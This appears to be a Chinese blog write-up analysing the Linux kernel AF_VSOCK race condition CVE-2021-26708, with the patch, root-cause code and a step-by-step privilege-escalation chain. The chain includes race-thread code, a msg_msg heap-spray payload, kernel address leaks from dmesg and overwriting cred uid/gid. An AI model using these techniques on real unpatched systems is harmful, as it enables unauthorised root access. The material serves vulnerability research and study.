【kernel exploit】CVE-2021-26708 四字节写特殊竞争UAF转化为内核任意读写

这个漏洞利用太复杂了,可惜没有公开exp。

影响版本:Linux v5.10.13之前。 7.0分。通过修改后的syzkaller挖到。

测试版本:Linux-5.10.12 测试环境下载地址(暂无环境,作者未公开exp)

编译选项CONFIG_VSOCKETS=y CONFIG_VIRTIO_VSOCKETS=y CONFIG_CHECKPOINT_RESTORE=y CONFIG_SLAB=y

General setup ---> Choose SLAB allocator (SLUB (Unqueued Allocator)) ---> SLAB

在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-5.10.12.tar.xz
$ tar -xvf linux-5.10.12.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

漏洞描述net/vmw_vsock/af_vsock.cAF_VSOCK套接字的实现中(创建语句是vsock = socket(AF_VSOCK, SOCK_STREAM, 0)),vsock_stream_setsockopt()函数由于错误上锁导致多个竞争条件。以 vsock_stream_setsockopt() 函数为例,在加锁前进行赋值transport = vsk->transporttransport是全局变量,但是vsk->transport会在多处被调用甚至被释放,这就有可能通过条件竞争造成UAF。由commit c0cfa2d8a788fcf46a2c0962105ae8ce引入VSOCK multi-transport功能所导致。

补丁patchtransport = vsk->transport;语句从加锁语句lock_sock(sk);外面挪到了里面,共5个函数需要patch——vsock_poll()vsock_dgram_sendmsg()vsock_stream_setsockopt()vsock_stream_sendmsg()vsock_stream_recvmsg()

diff --git a/net/vmw_vsock/af_vsock.c b/net/vmw_vsock/af_vsock.c
index b12d3a3222428..6894f21dc1475 100644
--- a/net/vmw_vsock/af_vsock.c
+++ b/net/vmw_vsock/af_vsock.c
// (1) vsock_poll       --------------------
@@ -1014,9 +1014,12 @@ static __poll_t vsock_poll(struct file *file, struct socket *sock,
            mask |= EPOLLOUT | EPOLLWRNORM | EPOLLWRBAND;
 
    } else if (sock->type == SOCK_STREAM) {
-       const struct vsock_transport *transport = vsk->transport;
+       const struct vsock_transport *transport;
+
        lock_sock(sk);
 
+       transport = vsk->transport;
+
        /* Listening sockets that have connections in their accept
         * queue can be read.
         */
// (2) vsock_dgram_sendmsg --------------------
@@ -1099,10 +1102,11 @@ static int vsock_dgram_sendmsg(struct socket *sock, struct msghdr *msg,
    err = 0;
    sk = sock->sk;
    vsk = vsock_sk(sk);
-   transport = vsk->transport;
 
    lock_sock(sk);
 
+   transport = vsk->transport;
+
    err = vsock_auto_bind(vsk);
    if (err)
        goto out;
// (3) vsock_stream_setsockopt --------------------
@@ -1561,10 +1565,11 @@ static int vsock_stream_setsockopt(struct socket *sock,
    err = 0;
    sk = sock->sk;
    vsk = vsock_sk(sk);
-   transport = vsk->transport;
 
    lock_sock(sk);
 
+   transport = vsk->transport;
+
    switch (optname) {
    case SO_VM_SOCKETS_BUFFER_SIZE:
        COPY_IN(val);
// (4) vsock_stream_sendmsg --------------------
@@ -1697,7 +1702,6 @@ static int vsock_stream_sendmsg(struct socket *sock, struct msghdr *msg,
 
    sk = sock->sk;
    vsk = vsock_sk(sk);
-   transport = vsk->transport;
    total_written = 0;
    err = 0;
 
@@ -1706,6 +1710,8 @@ static int vsock_stream_sendmsg(struct socket *sock, struct msghdr *msg,
 
    lock_sock(sk);
 
+   transport = vsk->transport;
+
    /* Callers should not provide a destination with stream sockets. */
    if (msg->msg_namelen) {
        err = sk->sk_state == TCP_ESTABLISHED ? -EISCONN : -EOPNOTSUPP;
// (5) vsock_stream_recvmsg --------------------
@@ -1840,11 +1846,12 @@ vsock_stream_recvmsg(struct socket *sock, struct msghdr *msg, size_t len,
 
    sk = sock->sk;
    vsk = vsock_sk(sk);
-   transport = vsk->transport;
    err = 0;
 
    lock_sock(sk);
 
+   transport = vsk->transport;
+
    if (!transport || sk->sk_state != TCP_ESTABLISHED) {
        /* Recvmsg is supposed to return 0 if a peer performs an
         * orderly shutdown. Differentiate between that case and when a

保护机制:开启SMEP、SMAP、KASLR。信息泄露是通过dmesg来泄露的,很容易关闭。

利用总结:作者将有限的内存破坏转化为内核任意读写,在Fedora 33 Server上成功提权,绕过SMEP和SMAP防护,创造了几种新的利用技巧。需要提前学习 CVE-2017-2636利用setxattr() & userfaultfd()通用堆喷技术 这两篇文章。

  • (1)漏洞:由于漏洞对象virtio_vsock_sock会触发4字节写(往空闲的 virtio_vsock_sock 64字节对象的偏移40处写4字节,该4字节可控),这是一种有限制的UAF,需将该漏洞原语转化为常规的UAF;
  • (2)victim对象—构造任意堆块释放:恰好msg_msg对象的偏移40处为msg_msg.security,指向内核某个堆块,在收到msg_msg会释放该块,这样利用msg_msg进行堆喷(触发4字节任意写来修改msg_msg.security指向另一个64字节堆块,这样就会释放该目标堆块)就能把4字节写转化为任意堆块释放;
  • (3)堆地址泄露:触发漏洞后,会调用virtio_transport_send_pkt_info()在内核日志中输出warning,其中RBX——vsock_sock对象的内核地址,RCX——释放对象 virtio_vsock_sock 的地址;
  • (4)任意堆块释放->UAF:vsock_sock对象位于专门的cache,无法利用;virtio_vsock_sock位于kmalloc-64,可以利用。继续找64字节的victim对象——msg_msg对象;
  • (5)任意读:如果发送的消息长度超过4048,就会把多出来的消息存入msg_msg->next指向的 segment list中,msg->m_ts表示整个的size。可以利用setxattr() & userfaultfd()通用堆喷技术,覆盖msg_msg对象的msg_msg->nextmsg->m_ts来泄露内核数据。注意msg_msg.m_list必须指向有效的消息,可利用msgrcv()+MSG_COPY flag 来获取队列中序号为msgtyp(从0开始)的消息的副本(内核编译时开启CONFIG_CHECKPOINT_RESTORE=y选项就能调用msgrcv()),这样就能构造有效的msg_msg.m_list
  • (6)泄露其它堆块地址+内核基址:读取vsock_sock对象(RBX)的内容。其中vsock_sock.sk.sk_memcg指向kmalloc-4k大小的mem_cgroup对象,vsock_sock.sk.sk_write_space函数指针可以泄露内核基址;
  • (7)sk_buff victim对象的UAF:上一步泄露了kmalloc-4k堆基址。struct sk_buff表示网络相关的buffer,网络数据和skb_shared_info位于相同的内存块(sk_buff.head指向的内存块),在用户空间构造2800字节的网络包就能使 skb_shared_info 被分配在 kmalloc-4k cache中。利用 CVE-2017-2636 时用到了sk_buff对象;注意,sk_buff喷射不稳定,可以试试其他对象。
  • (8)任意写:由于泄露了kmalloc-4k堆地址,所以ubuf_info结构可以伪造在内核中,可以绕过SMAP(如果CVE-2017-2636也能泄露内核堆块地址kmalloc-4k、cred地址,且能够找到写cred的gadget地址,就能绕过SMAP防护)。伪造ubuf_info.callback指向一个特殊的gadget,类似于mov RDX, [RDI+8]; mov [RDX], RSI; retRDI保存了callback的第一个参数(也就是ubuf_info结构的地址),所以RDI+8指向ubuf_info.desc,这个gadget能将ubuf_info.desc赋值给RDX。现在RDX存着有效的user IDgroup ID的地址-1,这个-1很重要,当gadget将RSI中的qword 1写入RDX指向的内存时,uidgid就会被覆盖为0。然后对uidgid重复该步骤,就能成功提权。注意,这个gadget很特殊,可以试试pivot_gadget

思考

  • (1)为了触发本漏洞,syzkaller每次调用setsockopt()函数都必须传递不同的size参数。那么如果修改syzkaller,每次都随机化syscall的参数,会不会发现更多的漏洞,但是复现崩溃也变得更不稳定。
  • (2)如何将特定上下文的UAF漏洞转化为常规意义的UAF。
  • (3)泄露内核数据的新方法,通过堆喷伪造结构中的元素,然后泄露数据;例如msg_msg这种结构,能够读取内核数据给用户态。elastic object是通过溢出来修改长度元素,而这里更加通用,目标是找到属于各种cache的对象。
  • (4)找到其他新型gadget,劫持控制流之后进行任意写。或者能不能利用KEPLER中发现的新型的gadget?

一、VSOCK介绍

1.VSOCK介绍

介绍:VM套接字最早是由Vmware开发并提交到Linux内核主线中。VM套接字允许虚拟机与虚拟机管理程序之间进行通信。虚拟机和主机上的用户级应用程序都可以使用VM 套接字API,从而促进guest虚拟机与其host之间的快速有效通信。该机制提供了一个vsock套接字地址系列及其vmci传输,旨在与接口级别的UDP和TCP兼容。VSOCK机制随即得到Linux社区的响应,Redhat在VSOCK中为vsock添加了virtio传输-virtio_transport.kovhost传输-vhost_vsock.ko,QEMU/KVM虚拟机管理提供支持,Microsoft添加了HyperV传输-hv_sock

应用:QEMU guest agent / Kata container agent / Android Debug Bridge (adb)

2.VSOCK架构

VM套接字类型:VM套接字与其他套接字类型类似,例如Berkeley UNIX套接字接口。VM套接字模块支持面向连接的流套接字(例如TCP)和无连接数据报套接字(例如UDP)。VM套接字协议系列定义为“AF_VSOCK”,并且套接字操作分为SOCK_DGRAM和SOCK_STREAM。如下图所示:

1-1.png

VSOCK socket层支持socket API用户层的AF_SOCK地址簇包含两个要素:<CID, port>。 CID为Context Identifier,上下文标识符;port为端口。TCP/IP应用程序几乎不需要更改就可以适配,每一个地址表示为<cid,port>。还有一层为transport层,VSOCK transport用于实现guest和host之间通信的数据通道。如下图所示:

1-2.png

传输方向:Transport根据传输方向分为两种(以SOCK_STREAM类型为例),一种为G2H transport,表示guest到host的传输类型,运行在guest中。另一种为H2G transport,表示host到guest的传输类型。

以QEMU/KVM传输为例,如下图所示:

1-3.png

接口驱动分类:该传输提供套接字层接口的驱动分为两个部分,一个是运行在guest中的virtio-transport,用于配合guest进行数据传输;另一个是运行在host中的vhost-transport,用于配合host进行数据传输。

实现:vsock地址簇和G2H实现在net/vmw_vsock,H2G实现在driver目录,vhost vsock实现在drivers/vhost/vsock.c,vmci实现在drivers/misc/vmw_vmci。以下是qemu中的virtio<->vhost transport

guset和host初始化传输通道的过程

  • 1.启动qemu时,命令行中上-device vhost-vsock-pci,guest-cid=
  • 2.host中加载vhost_vsock驱动;
  • 3.guest会检测并加载vhost-vsock pci驱动,在virtio_vsock_init函数中注册该virtio驱动;
  • 4.virtio_vsock驱动会初始化仿真的vhost-vsock设备,这将和vhost_vsock驱动进行交互。

传输层有个全局变量transport,host和guest都会调用vsock_core_init函数来注册其 vsock transport。例如,guest中virtio_vsock_init()调用vsock_core_init来将transport设置为virtio_transport.transport;host中vhost_vsock_init()调用vsock_core_init来将transport设置为vhost_transport.transport。初始化之后,guest和host就可以使用vsock来交互,具体实现参见Linux vsock internals

1-6.png

VSOCK transport还提供多传输通道模式,该功能是为了支持嵌套虚拟机中的VSOCK功能。如下图所示:

多传输通道:支持L1虚拟机同时加载H2G和G2H两个传输通道,此时L1虚拟机既是host也是guest,通过H2G传输通道和L2嵌套虚拟机通信,通过G2H传输通道和L0 host通信。

1-4.png

VSOCK transport还支持本地环回传输通道模式,不需要有虚拟机。如下图所示:

本地环回传输通道:该模式用于测试和调试,由vsock-loopback提供支持,并对地址簇中的CID进行了分类,包含两种类型:一种是VMADDR_CID_LOCAL,表示本地环回;一种为VMADDR_CID_HOST,表示H2G传输通道加载,G2H传输通道未加载。

1-5.png

二、漏洞分析

1. 漏洞分析

补丁分析:以 vsock_stream_setsockopt() 函数为例,将(1)移到(3)处,(2)加锁前,vsk->transport已经赋值到transport全局变量中,这里产生了一个引用,然后才进行lock_sock(sk)将sk锁定。但是vsk->transport会在多处被调用甚至被释放,这就有可能通过条件竞争造成UAF。

最开始没有这个漏洞,因为transport是局部变量,后来 c0cfa2d8a788fcf4(加入multi-transports支持)和 6a2c0962105ae8ce(防止transport模块卸载)使得transport变成了全局变量,就导致了本漏洞。

@@ -1561,10 +1565,11 @@ static int vsock_stream_setsockopt(struct socket *sock,
   err = 0;
   sk = sock->sk;
   vsk = vsock_sk(sk);
-   transport = vsk->transport;     // (1)

   lock_sock(sk);                  // (2)

+   transport = vsk->transport;     // (3)
+
   switch (optname) {
   case SO_VM_SOCKETS_BUFFER_SIZE:
       COPY_IN(val);

2. 漏洞触发

漏洞对象vsk->transportvirtio_vsock_sock对象

(1)释放vsk->transport的调用路径

调用路径vsock_stream_connect() (用户层调用connect) -> vsock_assign_transport() -> vsock_deassign_transport() -> virtio_transport_destruct()vsk->transport->destruct

首先找到修改或释放vsk->transport的调用路径,来看关键函数 vsock_assign_transport() 的实现。对于多传输模式,该函数用于根据不同CID分配不同的传输通道。实现代码如下图所示:

int vsock_assign_transport(struct vsock_sock *vsk, struct vsock_sock *psk)
{
    const struct vsock_transport *new_transport;
    struct sock *sk = sk_vsock(vsk);
    unsigned int remote_cid = vsk->remote_addr.svm_cid;
    int ret;
// 根据 sk->sk_type 分为 SOCK_DGRAM 和 SOCK_STREAM,在 SOCK_STREAM 中,分为三种传输通道。这里可以通过将CID设置为本地环回模式,得到 transport_local 传输通道。
    switch (sk->sk_type) {
    case SOCK_DGRAM:
        new_transport = transport_dgram;
        break;
    case SOCK_STREAM:
        if (vsock_use_local_transport(remote_cid))
            new_transport = transport_local;        // 本地传输通道
        else if (remote_cid <= VMADDR_CID_HOST || !transport_h2g)
            new_transport = transport_g2h;          // guest到host传输通道
        else
            new_transport = transport_h2g;          // host到guest传输通道
        break;
    default:
        return -ESOCKTNOSUPPORT;
    }
// 如果vsk->transport不为空,则进入if语句。先判断 vsk->transport 是否等于 new_transport,如果等于直接返回,在触发过程中,要保证能走到 vsock_deassign_transport() 函数,该函数是析构函数,用于释放transport。
    if (vsk->transport) {
        if (vsk->transport == new_transport)
            return 0;

        /* transport->release() must be called with sock lock acquired.
         * This path can only be taken during vsock_stream_connect(),
         * where we have already held the sock lock.
         * In the other cases, this function is called on a new socket
         * which is not assigned to any transport.
         */
        vsk->transport->release(vsk);
        vsock_deassign_transport(vsk);          // <-------------------- 释放路径
    }

    /* We increase the module refcnt to prevent the transport unloading
     * while there are open sockets assigned to it.
     */
    if (!new_transport || !try_module_get(new_transport->module))
        return -ENODEV;

    ret = new_transport->init(vsk, psk);
    if (ret) {
        module_put(new_transport->module);
        return ret;
    }

    vsk->transport = new_transport;

    return 0;
}
EXPORT_SYMBOL_GPL(vsock_assign_transport);

// 
static void vsock_deassign_transport(struct vsock_sock *vsk)
{
    if (!vsk->transport)
        return;

    vsk->transport->destruct(vsk);              // (4) 调用vsk->transport->destruct()时,要明确使用transport类型,前文已经确定使用 transport_local。
    module_put(vsk->transport->module);
    vsk->transport = NULL;
}

(4)处调用vsk->transport->destruct()时,要明确使用transport类型,前文已经确定使用 transport_local模式。transport_local为全局变量,会在vsock_core_register()函数中被初始化,该函数被调用情况如下:

*_init()函数用来初始化transport的回调函数,vhost_vsock_init()virtio_vsock_init()vsock_loopback_init() 函数为QEMU/KVM环境下的支持函数。我们发现transport->destruct() 函数的最后实现都是同一个函数(virtio_transport_destruct())。如下所示:

// 调用 vsock_core_register() 的函数
    EXPORT_SYMBOL_GPL
    hvs_init()
    vhost_vsock_init()          //
    virtio_vsock_init()         //
    vmci_transport_init()
    vmci_vsock_transport_cb()
    vsock_loopback_init()       //
// 引用用 virtio_transport_destruct 函数指针的地方
    EXPORT_SYMBOL_GPL
    loopback_transport          // 函数表 .destruct = virtio_transport_destruct,
    vhost_transport             // 函数表 .destruct = virtio_transport_destruct,
    virtio_transport            // 函数表 .destruct = virtio_transport_destruct,
// 该 destruct() 函数释放 vsk->trans。 vsk->trans 指针指向 transport。
void virtio_transport_destruct(struct vsock_sock *vsk)
{
    struct virtio_vsock_sock *vvs = vsk->trans;

    kfree(vvs);
}
EXPORT_SYMBOL_GPL(virtio_transport_destruct);
(2)使用vsk->transport的调用路径

调用路径vsock_stream_setsockopt() (用户调用setsockopt()) -> vsock_update_buffer_size() -> virtio_transport_notify_buffer_size()

/* sk_lock held by the caller */
void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
    struct virtio_vsock_sock *vvs = vsk->trans;

    if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)   // VIRTIO_VSOCK_MAX_BUF_SIZE == 0xFFFFFFFFUL
        *val = VIRTIO_VSOCK_MAX_BUF_SIZE;

    vvs->buf_alloc = *val;  // 通过vsk->trans获取指向transport的指针,然后对vvs->buf_alloc进行4字节赋值。

    virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM,
                        NULL);
}
EXPORT_SYMBOL_GPL(virtio_transport_notify_buffer_size);

static void vsock_update_buffer_size(struct vsock_sock *vsk,
                     const struct vsock_transport *transport,
                     u64 val)
{
    if (val > vsk->buffer_max_size)
        val = vsk->buffer_max_size;

    if (val < vsk->buffer_min_size)
        val = vsk->buffer_min_size;

    if (val != vsk->buffer_size &&
        transport && transport->notify_buffer_size)
        transport->notify_buffer_size(vsk, &val);       // <--------- transport 早就失效了,首先触发UAF

    vsk->buffer_size = val;
}

漏洞对象的结构链vsock_sock (结尾 void *trans 指针) -> virtio_vsock_sockvirtio_vsock_sock漏洞对象属于kmalloc-64。对virtio_vsock_sock->buf_alloc进行赋值,导致UAF,且赋的值*val也是用户可控的,这样就能任意写4字节。

/* Per-socket state (accessed via vsk->trans) */
struct virtio_vsock_sock {
    struct vsock_sock *vsk;

    spinlock_t tx_lock;
    spinlock_t rx_lock;

    /* Protected by tx_lock */
    u32 tx_cnt;
    u32 peer_fwd_cnt;
    u32 peer_buf_alloc;

    /* Protected by rx_lock */
    u32 fwd_cnt;
    u32 last_fwd_cnt;
    u32 rx_bytes;
    u32 buf_alloc;                  // 偏移为40
    struct list_head rx_queue;
};
(3)构造条件竞争

条件竞争connect()系统调用先抢到锁对transport进行释放,然后再调用setsockopt()才能触发漏洞。有开发人员提出使用userfaultfd机制先将lock_sock锁定,然后再去释放锁,进行条件竞争。漏洞触发过程如下图所示:

2-1-trigger.png

蓝框中是connect()调用过程,最后调用virtio_transport_destruct()函数释放vsk->trans。红框中是setsockopt()调用过程,调用virtio_transport_notify_buffer_size()函数使用vvs,该值是0xffff888107a74500,在0xffff888107a74500+0x28处会写入4字节。两个线程的竞争点如下所示:

2-2-Thread_race.png

3. 漏洞挖掘

syzkaller无法复现的原因如下:为了触发执行 notify_buffer_size() 函数,每次调用setsockopt()都必须传递不同的size参数,见poc 。如果不修改syzkaller是无法触发本漏洞的,可能是运气好,多线程时采用SO_VM_SOCKETS_BUFFER_MAX_SIZESO_VM_SOCKETS_BUFFER_MIN_SIZE参数触发了漏洞。

// vsock_update_buffer_size() —— 只有当val和当前buffer_size不同时才会调用 notify_buffer_size(), 也就是说,调用 setsockopt()时(选项为SO_VM_SOCKETS_BUFFER_SIZE),必须采用不同的size参数
    if (val != vsk->buffer_size &&
      transport && transport->notify_buffer_size)
        transport->notify_buffer_size(vsk, &val);

    vsk->buffer_size = val;

// vsock_stream_setsockopt()
    switch (optname) {
        case SO_VM_SOCKETS_BUFFER_SIZE:
        COPY_IN(val);
        vsock_update_buffer_size(vsk, transport, val);
        break;
    }

// POC中每次调用 setsockopt() 传递不同的size参数
    struct timespec tp;
    unsigned long size = 0;

    clock_gettime(CLOCK_MONOTONIC, &tp);
    size = tp.tv_nsec;
    setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
                &size, sizeof(unsigned long));

思考:为了触发本漏洞,syzkaller每次调用setsockopt()函数都必须传递不同的size参数。那么如果修改syzkaller,每次都随机化syscall的参数,会不会发现更多的漏洞,但是复现崩溃也变得更不稳定。


三、漏洞利用

实验目标:Fedora 33 Server 内核版本5.10.11-200.fc33.x86_64

1. 竞争线程构造

// thread 1 —— setsockopt()
    setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
                &size, sizeof(unsigned long));
// thread 2 —— connect()  当 vsock_stream_setsockopt() 试图获取 socket lock 时,线程2需要释放 transport
    struct sockaddr_vm addr = {
        .svm_family = AF_VSOCK,
    };

    addr.svm_cid = VMADDR_CID_LOCAL;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
    // 线程2第二次connect时,svm_cid要和第一次不同才能走到释放 vsock_sock->transport 的分支, 然后将 vsock_sock->transport 赋值为null, 后面 vsock_stream_setsockopt() 触发UAF
    addr.svm_cid = VMADDR_CID_HYPERVISOR;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

connect()释放 socket lock 之后,vsock_stream_setsockopt()才能继续执行并调用vsock_update_buffer_size() -> transport->notify_buffer_size(),transport全局变量存的是一个过时的局部变量vsk->transport。触发UAF。

2.四字节的力量

漏洞总结:本竞争漏洞能够往释放后的virtio_vsock_sock对象(属于kmalloc-64)的40偏移处写任意四字节。

稳定堆喷—尝试add_key:只是测试是否能够稳定堆喷,并非最终使用的喷射对象。在第2次调用connect()后,且并行线程执行完vsock_stream_setsockopt()中的漏洞语句,调用add_key来堆喷。使用ftrace来跟踪内核分配器,确保释放后的virtio_vsock_sock对象已被覆写,也即成功堆喷。

寻找堆喷对象的过程:下一步是找到一个64字节的内核对象,可以提供更强的利用原语 ,即偏移40处的四字节可利用。尝试过 Bad Binder exploit 介绍的 构造iovec对象实现内核任意读写,但失败了(因为64字节的iovec分配在栈上,且偏移40处是iovec.iov_len而非iovec.iov_base,且版本4.13之后就不能用iovec方法了,来自2017的commit 09fc68dc66f7597b)。

找到堆喷对象:后来找到了msgsnd()调用中的struct msg_msg对象,该对象后面跟的是message数据,只要用户传递16字节的struct msgbuf->mtext,则内核中的msg_msg对象就会分配到kmalloc-64。4字节写就能覆盖void *security指针,这有什么用呢?

struct msg_msg {
    struct list_head           m_list;               /*     0    16 */
    long int                   m_type;               /*    16     8 */
    size_t                     m_ts;                 /*    24     8 */
    struct msg_msgseg *        next;                 /*    32     8 */
    void *                     security;             /*    40     8 */

    /* size: 48, cachelines: 1, members: 5 */
    /* last cacheline: 48 bytes */
};

/* message buffer for msgsnd and msgrcv calls */
struct msgbuf {
    __kernel_long_t mtype;          /* type of message */
    char mtext[1];                  /* message text */
};

msg_msg.securitymsg_msg.security指向lsm_msg_msg_alloc()分配的内核数据,Fedora的SELinux调用了lsm_msg_msg_alloc()函数,当收到msg_msg之后调用security_msg_msg_free()释放该内核数据,所以覆盖msg_msg.security的低4字节就能构造任意空间释放。

3. 堆地址泄露

方法:和CVE-2019-18683 exploit类似,第2次调用connect()时会执行vsock_deassign_transport(),将vsk->transport设置为NULL,这样vsock_stream_setsockopt()调用virtio_transport_send_pkt_info()时(恰好在发生内存破坏之后),会报内核警告:

调用路径——vsock_stream_setsockopt() (用户调用setsockopt()) -> vsock_update_buffer_size() -> virtio_transport_notify_buffer_size() -> virtio_transport_send_credit_update() -> virtio_transport_send_pkt_info()

// warning: RCX——释放对象 virtio_vsock_sock 的基址, RBX——vsock_sock对象的内核地址。Fedora系统可以打开和解析 /dev/kmsg, 通过寄存器的值可以泄露内核地址。
WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G        W         5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS:  00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
  virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]
  vsock_update_buffer_size+0x5f/0x70 [vsock]
  vsock_stream_setsockopt+0x128/0x270 [vsock]
...

4. 任意空间释放->UAF

目标:任意空间释放->UAF

  • 根据warning泄露的地址来释放对象;
  • 堆喷控制该对象;
  • 劫持控制流

尝试vsock_sockEBX:开始想释放vsock_sock对象(EBX),因为这个对象很大,有很多有趣的结构,但是vsock_sock位于专门的cache,无法进行堆喷。

尝试virtio_vsock_sockRCX:释放virtio_vsock_sock对象(RCX),需找到某个大小为64字节的victim对象。

5. 实现任意读

msg_msg—victim对象:前面讲到利用msg_msg作堆喷,现在分析下如何利用msg_msg来实现常规的UAF。System V消息的实现中有个消息最大长度DATALEN_MSG(值为PAGE_SIZE - sizeof(struct msg_msg)) == 4048),如果发送的消息过长就会将超过的部分存放在多个段中,msg_msg->next指向第1个segment(段头部8字节+消息的其余部分),msg->m_ts表示整个的size。这样我们就可以通过堆喷来伪造msg_msg.m_tsmsg_msg.next来进行利用。

3-1-overwritten_msg_msg.png

堆喷:现在不要覆盖msg_msg.security,避免破坏SELinux permission check,可以使用setxattr() & userfaultfd()通用堆喷技术中文翻译)来避免覆盖msg_msg.security。准备payload的代码如下所示:

setxattr() & userfaultfd()通用堆喷技术:针对堆喷无法控制对象的前N个字节的问题、以及小块如kmalloc-8/16/32无法控制的问题,例如msgsnd()分配路径有个不受控制的前48字节。setxattr()函数会在内核中分配用户指定的size,然后将用户数据拷贝进去,最后释放该空间;可以利用userfaultfd()在拷贝X字节后转入用户错误处理,使内存块驻留在内核中。

#define PAYLOAD_SZ 40

void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
{
    struct msg_msg *msg_ptr;

    xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;   // 伪造结构的起始地址

    /* Don't touch the second part to avoid breaking page fault delivery */
    memset(spray_data, 0xa5, PAGE_SIZE * 4);

    printf("[+] adapt the msg_msg spraying payload:\n");
    msg_ptr = (struct msg_msg *)xattr_addr;                 // 
    msg_ptr->m_type = 0x1337;
    msg_ptr->m_ts = ARB_READ_SZ;
    msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
    printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
           msg_ptr,
           msg_ptr->m_type, &(msg_ptr->m_type),
           msg_ptr->m_ts, &(msg_ptr->m_ts),
           msg_ptr->next, &(msg_ptr->next));
}

实现任意读:如何利用伪造的msg_msg读取内核数据?以上代码中将msg_msg.m_list伪造成了无效的指针0xa5a5a5a5a5a5a5a5,导致内核崩溃,能不能使msg_msg.m_list指向另一个有效的message呢?通过阅读msgrcv() - documentation可以找到答案,用msgrcv()+MSG_COPY flag 可以获取队列中序号为msgtyp(从0开始)的消息的副本,只要内核编译时开启CONFIG_CHECKPOINT_RESTORE=y选项就能使用该功能,这在Fedora服务器中是默认开启的。

  • 1.准备

    • 调用sched_getaffinity()CPU_COUNT()计算可用CPU数(CPU数必须>=2);
    • 打开/dev/kmsg
    • mmap()映射spray_data内存区域,配置userfaultfd()msg_msg.security偏移处挂起;
    • 开启1个单独的线程来处理userfaultfd()事件;
    • 开启127个线程来对空闲的msg_msgsetxattr() & userfaultfd()堆喷,并用pthread_barrier栅栏拦住。
  • 2.泄露1个有效的msg_msg对象的地址

    • 利用漏洞赢得竞争;
    • 第2次connect()之后循环等待35微秒;
    • 在单独的消息队列中调用msgsnd,利用msg_msg对象占据virtio_vsock_sock空闲堆块;
    • 解析内核日志,从内核warning中获取指向msg_msg对象的RCX寄存器值;
    • 同时保存RBX寄存器值——vsock_sock对象的地址。
  • 3.触发任意堆块释放, 即使用被破坏的msg_msg对象来释放一个有效的msg_msg对象

    • 使用4字节有效的msg_msg对象地址作为SO_VM_SOCKETS_BUFFER_SIZE,这4字节会覆盖msg_msg.security的低4字节;

    • 利用漏洞赢得竞争;

    • 第2次调用connect()之后立刻调用msgsnd(),利用msg_msg占据virtio_vsock_sock空闲堆块;

    • 现在msg_msg.security指针指向了一个有效的msg_msg对象;

      3-2-corrupted_msg_msg.png
  • 如果setsockopt()线程修改msg_msg.security的时机恰好发生在msgsnd()处理时,则SELinux permission check会失败;

  • 这种情况下,msgsnd()会返回-1,且被修改的msg_msg会修改,释放msg_msg.security时实际上释放了一个有效的msg_msg对象。

  • 4.伪造被释放的msg_msg对象

    • msgsnd()失败后,立刻调用pthread_barrier_wait()放开栅栏,唤醒127个堆喷线程;

    • 这些线程会调用setxattr()来堆喷(payload是用前面提到的adapt_xattr_vs_sysv_msg_spray(vsock_kaddr)来布置的);

    • 现在msg_msg对象被覆盖为可控数据,且msg_msg.next指针指向System V message段(保存着vsock_sock对象的地址,前面通过RBX泄露)。

      3-3-corrupted_and_overwritten_msg_msg.png
  • 5.通过从消息队列(保存着伪造的msg_msg对象)接收消息,来读取vsock_sock内核对象的内容。

    ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0,
                    IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
    

6. 泄露其它堆块和内核基址

目前能够读取vsock_sock对象的内容,分析其内容,研究如何继续利用呢?

vsock_sock内容

  • 很多指向专用cache的指针,如PINGv6sock_inode_cache,没有用;
  • struct mem_cgroup *sk_memcg指针在vsock_sock.sk的偏移664处,mem_cgroup结构位于kmalloc-4k,非常好;
  • const struct cred *owner指针在vsock_sock的偏移840处,可以覆盖它指向的凭证来提权;
  • void (*sk_write_space)(struct sock *)函数指针在vsock_sock.sk的偏移为688,该指针会被赋值为sock_def_write_space(),可用于计算KASLR offset。

以下代码负责搜集vsock_sock中的指针信息:

#define MSG_MSG_SZ      48
#define DATALEN_MSG         (PAGE_SIZE - MSG_MSG_SZ)
#define SK_MEMCG_OFFSET     664
#define SK_MEMCG_RD_LOCATION    (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET   840
#define OWNER_CRED_RD_LOCATION  (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET   688
